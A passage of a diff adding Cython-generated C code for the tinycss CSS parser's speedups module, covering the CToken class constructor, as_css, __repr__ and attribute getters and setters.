__pyx_v_css_value, __pyx_v_value, __pyx_v_unit, __pyx_v_line, __pyx_v_column); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static int __pyx_pf_7tinycss_8speedups_6CToken___init__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self, PyObject *__pyx_v_type_, PyObject *__pyx_v_css_value, PyObject *__pyx_v_value, PyObject *__pyx_v_unit, PyObject *__pyx_v_line, PyObject *__pyx_v_column) { + int __pyx_r; + __Pyx_RefNannyDeclarations + Py_ssize_t __pyx_t_1; + __Pyx_RefNannySetupContext("__init__", 0); + + /* "tinycss/speedups.pyx":36 + * + * def __init__(self, type_, css_value, value, unit, line, column): + * self.type = type_ # <<<<<<<<<<<<<< + * self._as_css = css_value + * self.value = value + */ + __Pyx_INCREF(__pyx_v_type_); + __Pyx_GIVEREF(__pyx_v_type_); + __Pyx_GOTREF(__pyx_v_self->type); + __Pyx_DECREF(__pyx_v_self->type); + __pyx_v_self->type = __pyx_v_type_; + + /* "tinycss/speedups.pyx":37 + * def __init__(self, type_, css_value, value, unit, line, column): + * self.type = type_ + * self._as_css = css_value # <<<<<<<<<<<<<< + * self.value = value + * self.unit = unit + */ + __Pyx_INCREF(__pyx_v_css_value); + __Pyx_GIVEREF(__pyx_v_css_value); + __Pyx_GOTREF(__pyx_v_self->_as_css); + __Pyx_DECREF(__pyx_v_self->_as_css); + __pyx_v_self->_as_css = __pyx_v_css_value; + + /* "tinycss/speedups.pyx":38 + * self.type = type_ + * self._as_css = css_value + * self.value = value # <<<<<<<<<<<<<< + * self.unit = unit + * self.line = line + */ + __Pyx_INCREF(__pyx_v_value); + __Pyx_GIVEREF(__pyx_v_value); + __Pyx_GOTREF(__pyx_v_self->value); + __Pyx_DECREF(__pyx_v_self->value); + __pyx_v_self->value = __pyx_v_value; + + /* "tinycss/speedups.pyx":39 + * self._as_css = css_value + * self.value = value + * self.unit = unit # <<<<<<<<<<<<<< + * self.line = line + * self.column = column + */ + __Pyx_INCREF(__pyx_v_unit); + __Pyx_GIVEREF(__pyx_v_unit); + __Pyx_GOTREF(__pyx_v_self->unit); + __Pyx_DECREF(__pyx_v_self->unit); + __pyx_v_self->unit = __pyx_v_unit; + + /* "tinycss/speedups.pyx":40 + * self.value = value + * self.unit = unit + * self.line = line # <<<<<<<<<<<<<< + * self.column = column + * + */ + __pyx_t_1 = __Pyx_PyIndex_AsSsize_t(__pyx_v_line); if (unlikely((__pyx_t_1 == (Py_ssize_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 40, __pyx_L1_error) + __pyx_v_self->line = __pyx_t_1; + + /* "tinycss/speedups.pyx":41 + * self.unit = unit + * self.line = line + * self.column = column # <<<<<<<<<<<<<< + * + * def as_css(self): + */ + __pyx_t_1 = __Pyx_PyIndex_AsSsize_t(__pyx_v_column); if (unlikely((__pyx_t_1 == (Py_ssize_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 41, __pyx_L1_error) + __pyx_v_self->column = __pyx_t_1; + + /* "tinycss/speedups.pyx":35 + * cdef public Py_ssize_t line, column + * + * def __init__(self, type_, css_value, value, unit, line, column): # <<<<<<<<<<<<<< + * self.type = type_ + * self._as_css = css_value + */ + + /* function exit code */ + __pyx_r = 0; + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_AddTraceback("tinycss.speedups.CToken.__init__", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = -1; + __pyx_L0:; + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* "tinycss/speedups.pyx":43 + * self.column = column + * + * def as_css(self): # <<<<<<<<<<<<<< + * """ + * Return as an Unicode string the CSS representation of the token, + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_7tinycss_8speedups_6CToken_3as_css(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused); /*proto*/ +static char __pyx_doc_7tinycss_8speedups_6CToken_2as_css[] = "\n Return as an Unicode string the CSS representation of the token,\n as parsed in the source.\n "; +static PyObject *__pyx_pw_7tinycss_8speedups_6CToken_3as_css(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused) { + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("as_css (wrapper)", 0); + __pyx_r = __pyx_pf_7tinycss_8speedups_6CToken_2as_css(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_2as_css(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self) { + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("as_css", 0); + + /* "tinycss/speedups.pyx":48 + * as parsed in the source. + * """ + * return self._as_css # <<<<<<<<<<<<<< + * + * def __repr__(self): + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_INCREF(__pyx_v_self->_as_css); + __pyx_r = __pyx_v_self->_as_css; + goto __pyx_L0; + + /* "tinycss/speedups.pyx":43 + * self.column = column + * + * def as_css(self): # <<<<<<<<<<<<<< + * """ + * Return as an Unicode string the CSS representation of the token, + */ + + /* function exit code */ + __pyx_L0:; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* "tinycss/speedups.pyx":50 + * return self._as_css + * + * def __repr__(self): # <<<<<<<<<<<<<< + * return ('' + * .format(self, self.unit or '')) + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_7tinycss_8speedups_6CToken_5__repr__(PyObject *__pyx_v_self); /*proto*/ +static PyObject *__pyx_pw_7tinycss_8speedups_6CToken_5__repr__(PyObject *__pyx_v_self) { + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__repr__ (wrapper)", 0); + __pyx_r = __pyx_pf_7tinycss_8speedups_6CToken_4__repr__(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_4__repr__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self) { + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + Py_ssize_t __pyx_t_6; + PyObject *__pyx_t_7 = NULL; + __Pyx_RefNannySetupContext("__repr__", 0); + + /* "tinycss/speedups.pyx":51 + * + * def __repr__(self): + * return ('' # <<<<<<<<<<<<<< + * .format(self, self.unit or '')) + * + */ + __Pyx_XDECREF(__pyx_r); + + /* "tinycss/speedups.pyx":52 + * def __repr__(self): + * return ('' + * .format(self, self.unit or '')) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_kp_u_Token_0_type_at_0_line_0_column, __pyx_n_s_format); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_v_self->unit); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 52, __pyx_L1_error) + if (!__pyx_t_4) { + } else { + __Pyx_INCREF(__pyx_v_self->unit); + __pyx_t_3 = __pyx_v_self->unit; + goto __pyx_L3_bool_binop_done; + } + __Pyx_INCREF(__pyx_kp_u_); + __pyx_t_3 = __pyx_kp_u_; + __pyx_L3_bool_binop_done:; + __pyx_t_5 = NULL; + __pyx_t_6 = 0; + if (CYTHON_COMPILING_IN_CPYTHON && likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_6 = 1; + } + } + __pyx_t_7 = PyTuple_New(2+__pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + if (__pyx_t_5) { + __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_5); __pyx_t_5 = NULL; + } + __Pyx_INCREF(((PyObject *)__pyx_v_self)); + __Pyx_GIVEREF(((PyObject *)__pyx_v_self)); + PyTuple_SET_ITEM(__pyx_t_7, 0+__pyx_t_6, ((PyObject *)__pyx_v_self)); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_7, 1+__pyx_t_6, __pyx_t_3); + __pyx_t_3 = 0; + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __pyx_t_1; + __pyx_t_1 = 0; + goto __pyx_L0; + + /* "tinycss/speedups.pyx":50 + * return self._as_css + * + * def __repr__(self): # <<<<<<<<<<<<<< + * return ('' + * .format(self, self.unit or '')) + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_AddTraceback("tinycss.speedups.CToken.__repr__", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __pyx_L0:; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* "tinycss/speedups.pyx":32 + * is_container = False + * + * cdef public object type, _as_css, value, unit # <<<<<<<<<<<<<< + * cdef public Py_ssize_t line, column + * + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_7tinycss_8speedups_6CToken_4type_1__get__(PyObject *__pyx_v_self); /*proto*/ +static PyObject *__pyx_pw_7tinycss_8speedups_6CToken_4type_1__get__(PyObject *__pyx_v_self) { + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__get__ (wrapper)", 0); + __pyx_r = __pyx_pf_7tinycss_8speedups_6CToken_4type___get__(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_4type___get__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self) { + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__get__", 0); + __Pyx_XDECREF(__pyx_r); + __Pyx_INCREF(__pyx_v_self->type); + __pyx_r = __pyx_v_self->type; + goto __pyx_L0; + + /* function exit code */ + __pyx_L0:; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* Python wrapper */ +static int __pyx_pw_7tinycss_8speedups_6CToken_4type_3__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value); /*proto*/ +static int __pyx_pw_7tinycss_8speedups_6CToken_4type_3__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value) { + int __pyx_r; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__set__ (wrapper)", 0); + __pyx_r = __pyx_pf_7tinycss_8speedups_6CToken_4type_2__set__(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self), ((PyObject *)__pyx_v_value)); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static int __pyx_pf_7tinycss_8speedups_6CToken_4type_2__set__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self, PyObject *__pyx_v_value) { + int __pyx_r; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__set__", 0); + __Pyx_INCREF(__pyx_v_value); + __Pyx_GIVEREF(__pyx_v_value); + __Pyx_GOTREF(__pyx_v_self->type); + __Pyx_DECREF(__pyx_v_self->type); + __pyx_v_self->type = __pyx_v_value; + + /* function exit code */ + __pyx_r = 0; + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* Python wrapper */ +static int __pyx_pw_7tinycss_8speedups_6CToken_4type_5__del__(PyObject *__pyx_v_self); /*proto*/ +static int __pyx_pw_7tinycss_8speedups_6CToken_4type_5__del__(PyObject *__pyx_v_self) { + int __pyx_r; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__del__ (wrapper)", 0); + __pyx_r = __pyx_pf_7tinycss_8speedups_6CToken_4type_4__del__(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static int __pyx_pf_7tinycss_8speedups_6CToken_4type_4__del__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self) { + int __pyx_r; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__del__", 0); + __Pyx_INCREF(Py_None); + __Pyx_GIVEREF(Py_None); + __Pyx_GOTREF(__pyx_v_self->type); + __Pyx_DECREF(__pyx_v_self->type); + __pyx_v_self->type = Py_None; + + /* function exit code */ + __pyx_r = 0; + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* Python wrapper */ +static PyObject *__pyx_pw_7tinycss_8speedups_6CToken_7_as_css_1__get__(PyObject *__pyx_v_self); /*proto*/ +static PyObject *__pyx_pw_7tinycss_8speedups_6CToken_7_as_css_1__get__(PyObject *__pyx_v_self) { + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__get__ (wrapper)", 0); + __pyx_r = __pyx_pf_7tinycss_8speedups_6CToken_7_as_css___get__(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_7_as_css___get__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self) { + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__get__", 0); + __Pyx_XDECREF(__pyx_r); + __Pyx_INCREF(__pyx_v_self->_as_css); + __pyx_r = __pyx_v_self->_as_css; + goto __pyx_L0; + + /* function exit code */ + __pyx_L0:; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* Python wrapper */ +static int __pyx_pw_7tinycss_8speedups_6CToken_7_as_css_3__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value); /*proto*/ +static int __pyx_pw_7tinycss_8speedups_6CToken_7_as_css_3__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value) { + int __pyx_r; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__set__ (wrapper)", 0); + __pyx_r = __pyx_pf_7tinycss_8speedups_6CToken_7_as_css_2__set__(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self), ((PyObject *)__pyx_v_value)); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static int __pyx_pf_7tinycss_8speedups_6CToken_7_as_css_2__set__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self, PyObject *__pyx_v_value) { + int __pyx_r; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__set__", 0); + __Pyx_INCREF(__pyx_v_value); + __Pyx_GIVEREF(__pyx_v_value); + __Pyx_GOTREF(__pyx_v_self->_as_css); + __Pyx_DECREF(__pyx_v_self->_as_css); + __pyx_v_self->_as_css = __pyx_v_value; + + /* function exit code */ + __pyx_r = 0; + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* Python wrapper */ +static int __pyx_pw_7tinycss_8speedups_6CToken_7_as_css_5__del__(PyObject *__pyx_v_self); /*proto*/ +static int __pyx_pw_7tinycss_8speedups_6CToken_7_as_css_5__del__(PyObject *__pyx_v_self) { + int __pyx_r; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__del__ (wrapper)", 0); + __pyx_r = __pyx_pf_7tinycss_8speedups_6CToken_7_as_css_4__del__(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static int __pyx_pf_7tinycss_8speedups_6CToken_7_as_css_4__del__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self) { + int __pyx_r; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__del__", 0); + __Pyx_INCREF(Py_None); + __Pyx_GIVEREF(Py_None); + __Pyx_GOTREF(__pyx_v_self->_as_css); + __Pyx_DECREF(__pyx_v_self->_as_css); + __pyx_v_self->_as_css = Py_None; + + /* function exit code */ + __pyx_r = 0; + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* Python wrapper */ +static PyObject *__pyx_pw_7tinycss_8speedups_6CToken_5value_1__get__(PyObject *__pyx_v_self); /*proto*/ +static PyObject *__pyx_pw_7tinycss_8speedups_6CToken_5value_1__get__(PyObject *__pyx_v_self) { + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__get__ (wrapper)", 0); + __pyx_r = __pyx_pf_7tinycss_8speedups_6CToken_5value___get__(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_5value___get__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self) { + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__get__", 0); + __Pyx_XDECREF(__pyx_r); + __Pyx_INCREF(__pyx_v_self->value); + __pyx_r = __pyx_v_self->value; + goto __pyx_L0; + + /* function exit code */ + __pyx_L0:; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* Python wrapper */ +static int __pyx_pw_7tinycss_8speedups_6CToken_5value_3__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value); /*proto*/ +static int __pyx_pw_7tinycss_8speedups_6CToken_5value_3__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value) { + int __pyx_r; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__set__ (wrapper)", 0); + __pyx_r = __pyx_pf_7tinycss_8speedups_6CToken_5value_2__set__(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self), ((PyObject *)__pyx_v_value)); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static int __pyx_pf_7tinycss_8speedups_6CToken_5value_2__set__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self, PyObject *__pyx_v_value) { + int __pyx_r; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__set__", 0); + __Pyx_INCREF(__pyx_v_value); + __Pyx_GIVEREF(__pyx_v_value); + __Pyx_GOTREF(__pyx_v_self->value); + __Pyx_DECREF(__pyx_v_self->value); + __pyx_v_self->value = __pyx_v_value; + + /* function exit code */ + __pyx_r = 0; + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* Python wrapper */ +static int __pyx_pw_7tinycss_8speedups_6CToken_5value_5__del__(PyObject *__pyx_v_self); /*proto*/ +static int __pyx_pw_7tinycss_8speedups_6CToken_5value_5__del__(PyObject *__pyx_v_self) { + int __pyx_r; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__del__ (wrapper)", 0); + __pyx_r = __pyx_pf_7tinycss_8speedups_6CToken_5value_4__del__(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static int __pyx_pf_7tinycss_8speedups_6CToken_5value_4__del__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self) { + int __pyx_r; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__del__", 0); + __Pyx_INCREF(Py_None); + __Pyx_GIVEREF(Py_None); + __Pyx_GOTREF(__pyx_v_self->value); + __Pyx_DECREF(__pyx_v_self->value); + __pyx_v_self->value = Py_None; + + /* function exit code */ + __pyx_r = 0; + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* Python wrapper */ +static PyObject *__pyx_pw_7tinycss_8speedups_6CToken_4unit_1__get__(PyObject *__pyx_v_self); /*proto*/ +static PyObject *__pyx_pw_7tinycss_8speedups_6CToken_4unit_1__get__(PyObject *__pyx_v_self) { + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__get__ (wrapper)", 0); + __pyx_r = __pyx_pf_7tinycss_8speedups_6CToken_4unit___get__(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_4unit___get__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self) { + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__get__", 0); + __Pyx_XDECREF(__pyx_r); + __Pyx_INCREF(__pyx_v_self->unit); + __pyx_r = __pyx_v_self->unit; + goto __pyx_L0; + + /* function exit code */ + __pyx_L0:; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* Python wrapper */ +static int __pyx_pw_7tinycss_8speedups_6CToken_4unit_3__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value); /*proto*/ +static int __pyx_pw_7tinycss_8speedups_6CToken_4unit_3__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value) { + int __pyx_r; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__set__ (wrapper)", 0); + __pyx_r = __pyx_pf_7tinycss_8speedups_6CToken_4unit_2__set__(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self), ((PyObject *)__pyx_v_value)); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static int __pyx_pf_7tinycss_8speedups_6CToken_4unit_2__set__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self, PyObject *__pyx_v_value) { + int __pyx_r; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__set__", 0); + __Pyx_INCREF(__pyx_v_value); + __Pyx_GIVEREF(__pyx_v_value); + __Pyx_GOTREF(__pyx_v_self->unit); + __Pyx_DECREF(__pyx_v_self->unit); + __pyx_v_self->unit = __pyx_v_value; + + /* function exit code */ + __pyx_r = 0; + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* Python wrapper */ +static int __pyx_pw_7tinycss_8speedups_6CToken_4unit_5__del__(PyObject *__pyx_v_self); /*proto*/ +static int __pyx_pw_7tinycss_8speedups_6CToken_4unit_5__del__(PyObject *__pyx_v_self) { + int __pyx_r; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__del__ (wrapper)", 0); + __pyx_r = __pyx_pf_7tinycss_8speedups_6CToken_4unit_4__del__(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static int __pyx_pf_7tinycss_8speedups_6CToken_4unit_4__del__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self) { + int __pyx_r; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__del__", 0); + __Pyx_INCREF(Py_None); + __Pyx_GIVEREF(Py_None); + __Pyx_GOTREF(__pyx_v_self->unit); + __Pyx_DECREF(__pyx_v_self->unit); + __pyx_v_self->unit = Py_None; + + /* function exit code */ + __pyx_r = 0; + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* "tinycss/speedups.pyx":33 + * + * cdef public object type, _as_css, value, unit + * cdef public Py_ssize_t line, column # <<<<<<<<<<<<<< + * + * def __init__(self, type_, css_value, value, unit, line, column): + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_7tinycss_8speedups_6CToken_4line_1__get__(PyObject *__pyx_v_self); /*proto*/ +static PyObject *__pyx_pw_7tinycss_8speedups_6CToken_4line_1__get__(PyObject *__pyx_v_self) { + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__get__ (wrapper)", 0); + __pyx_r = __pyx_pf_7tinycss_8speedups_6CToken_4line___get__(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_4line___get__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self) { + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + PyObject *__pyx_t_1 = NULL; + __Pyx_RefNannySetupContext("__get__", 0); + __Pyx_XDECREF(__pyx_r); + __pyx_t_1 = PyInt_FromSsize_t(__pyx_v_self->line); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_r = __pyx_t_1; + __pyx_t_1 = 0; + goto __pyx_L0; + + /* function exit code */ + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_1); + __Pyx_AddTraceback("tinycss.speedups.CToken.line.__get__", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __pyx_L0:; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* Python wrapper */ +static int __pyx_pw_7tinycss_8speedups_6CToken_4line_3__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value); /*proto*/ +static int __pyx_pw_7tinycss_8speedups_6CToken_4line_3__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value) { + int __pyx_r; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__set__ (wrapper)", 0); + __pyx_r = __pyx_pf_7tinycss_8speedups_6CToken_4line_2__set__(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self), ((PyObject *)__pyx_v_value)); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static int __pyx_pf_7tinycss_8speedups_6CToken_4line_2__set__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self, PyObject *__pyx_v_value) { + int __pyx_r; + __Pyx_RefNannyDeclarations + Py_ssize_t __pyx_t_1; + __Pyx_RefNannySetupContext("__set__", 0); + __pyx_t_1 = __Pyx_PyIndex_AsSsize_t(__pyx_v_value); if (unlikely((__pyx_t_1 == (Py_ssize_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 33, __pyx_L1_error) + __pyx_v_self->line = __pyx_t_1; + + /* function exit code */ + __pyx_r = 0; + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_AddTraceback("tinycss.speedups.CToken.line.__set__", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = -1; + __pyx_L0:; + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* Python wrapper */ +static PyObject *__pyx_pw_7tinycss_8speedups_6CToken_6column_1__get__(PyObject *__pyx_v_self); /*proto*/ +static PyObject *__pyx_pw_7tinycss_8speedups_6CToken_6column_1__get__(PyObject *__pyx_v_self) { + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__get__ (wrapper)", 0); + __pyx_r = __pyx_pf_7tinycss_8speedups_6CToken_6column___get__(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_6column___get__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self) { + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + PyObject *__pyx_t_1 = NULL; + __Pyx_RefNannySetupContext("__get__", 0); + __Pyx_XDECREF(__pyx_r); + __pyx_t_1 = PyInt_FromSsize_t(__pyx_v_self->column); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_r = __pyx_t_1; + __pyx_t_1 = 0; + goto __pyx_L0; + + /* function exit code */ + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_1); + __Pyx_AddTraceback("tinycss.speedups.CToken.column.__get__", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __pyx_L0:; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* Python wrapper */ +static int __pyx_pw_7tinycss_8speedups_6CToken_6column_3__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value); /*proto*/ +static int __pyx_pw_7tinycss_8speedups_6CToken_6column_3__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value) { + int __pyx_r; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__set__ 